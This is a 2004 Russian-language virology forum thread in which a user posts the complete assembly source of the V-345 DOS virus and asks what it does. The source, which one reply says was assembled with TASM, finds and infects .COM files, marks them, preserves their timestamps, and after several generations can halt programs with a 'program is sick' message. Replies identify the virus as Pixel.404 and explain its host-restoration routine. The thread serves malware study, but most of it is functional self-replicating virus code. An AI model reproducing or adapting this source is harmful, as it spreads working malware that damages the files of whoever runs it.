· Начало · Отвђтить · Статистика · Поиск · FAQ · Правила · Установки · Язык · Выход · WASM.RU · Noir.Ru ·

 WASM Phorum —› WASM.VIROLOGY —› Вирус

Посл.отвђт Сообщенiе


Дата: Ноя 2, 2004 12:08:19

Здрастье, не могли бы вы мне помочь подробнее разобраться, чего за вирус и чего делает:

page ,132
name V345
title V-345 - a mutation of the V-845 virus
.radix 16


code segment ; эта часть программы остается резидентной
assume cs:code,ds:code ; связывание регистров cs и ds с code
org 100H ; данная программа записана как файл типа *.com – остальная
;часть программы – перемещаемый сегмент команд

timer equ 6C ; константы
dta equ 80
ftime equ offset dta + 16
fdate equ offset dta + 18
fname equ offset dta + 1E
virlen = offset endcode - offset start
newid = offset ident - offset start

start: ; метка начала программы
jmp short virus ; короткий переход (IP)(IP)+8-битное смещение, опр. virus


ident dw 'VI'
counter db 0
allcom db '*.COM',0
progbeg dd ?
eof dw ?

virus: ; метка virus
push ax ; помещение данных в стек
mov ax,cs ; перемещение сегмента кода в ax
mov es,ax ; помещение в дополнительный сегмент данных
inc [counter] ; увеличение счетчика
mov si,offset start ; помещаем в si смещение start’а (анал. lea si,start)
xor di,di ; ксорим di с di
mov cx,virlen ; место, на которое переносится загрузчик dos
rep movsb ; перенесение загрузчика

mov dx,offset allcom ;Ищем *.com файлы
mov cx,110b ;с различными атрибутами
mov ah,4E ;находим первый файл
int 21
jc done ;выходим, если не найден файл

mainlp:
mov dx,fname
mov ax,3D02 ;открываем файл для чтения/записи
int 21
mov bx,ax ;сохраняем заголовок
push es
pop ds
mov dx,virlen
mov cx,0FFFF ;читаем все байты (максимум 64 в *.com файле)
mov ah,3F ;читаем из заголовка байты
int 21
add ax,virlen
mov cs:[eof],ax ;сохраняем указатель на конец файла
cmp ds:[newid+virlen],'VI' ;зараженный?
je close ;если так, то идем на следующий файл

xor cx,cx ;идем к началу файла
mov dx,cx
mov ax,4200 ;установка текущей позиции от начала файла
int 21
jc close ;покидаем файл, если встречаются ошибки

xor dx,dx ;пишем весь код (virus+file)
mov cx,cs:[eof] ;возвращаемся на файл
mov ah,40 ;пишем в заголовок
int 21

mov cx,cs:[ftime] ;устанавливаем дату и время
mov dx,cs:[fdate]
mov ax,5701
int 21

close:
mov ah,3E ;закрываем файл
int 21

push cs
pop ds ;восстанавливаем ds
mov ah,4F ;ищем следующий файл
int 21
jc done ;выходим, если все найдено
jmp mainlp ;иначе повторяем снова

done:
cmp [counter],5 ;если счетчик более 5,
jb progok ;то программа «заболевает»
mov ax,40
mov ds,ax ; берем значение системного таймера
mov ax,word ptr ds:[timer]
push cs
pop ds
and ax,1 ; если значение таймера четно
jz progok ; то переходим на progok
mov dx,offset message
mov ah,9 ;печать message
int 21
int 20 ;закончить программу

message db 'I am sorry, program is sick, please call doctor… '


progok:
mov si,offset transf ;помещаем в si смещение transf
mov cx,offset endcode - offset transf ;длину кода – в cx
xor di,di ;Move to ES:0
rep movsb ;Do it

pop bx ; BX = прежений AX
mov word ptr cs:[progbeg],0
mov word ptr cs:[progbeg+2],es ;указатель progbeg на начало программы
jmp cs:[progbeg] ;перейти к началу программы

transf:
push ds
pop es
mov si,offset endcode
mov di,offset start
mov cx,0FFFF ;восстановление оригинального программного кода
sub cx,si ; вычесть из cx si и записать в cx (место…)
rep movsb
mov word ptr cs:[start],offset start
mov word ptr cs:[start+2],ds
mov ax,bx
jmp dword ptr cs:[start] ;переходим на начало программы
endcode label byte

int 20H

code ends
end start


Дата: Ноя 2, 2004 12:55:29

Лучше бы ссылку дал.
http://www.stonebrowser.narod.ru/777.htm
Касперский идентифицирует его
как Pixel.404 Траслировал Тасмом 3.1
и сделал экзешник.


Дата: Ноя 2, 2004 16:34:03

гм.. это нерезидентый паразит на *.com. сохраняет
работоспособность обьектов. год создания -конец 80х годов. больше сказать нечего :)


Дата: Ноя 7, 2004 05:43:10

madgeniy

ага, а ты в книжку Игоря Гульева загляни и найдёшь свой вирус :)


Дата: Ноя 8, 2004 13:29:07

Народ, а поподробнее о самом коде могли бы чего-нить сказать, например, чего делает этот кусок:

push ds
pop es
mov si,offset endcode
mov di,offset start
mov cx,0FFFF ;восстановление оригинального программного кода
sub cx,si ; вычесть из cx si и записать в cx (место…)
rep movsb
mov word ptr cs:[start],offset start
mov word ptr cs:[start+2],ds
mov ax,bx
jmp dword ptr cs:[start] ;переходим на начало программы
endcode label byte


Дата: Ноя 9, 2004 04:31:14

madgeniy
По замыслу автора этот код должен восстанавливать на место оригинальный код программы, который был сдвинут для размещения творения, указанного в первом сообщении этой темы.


Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.047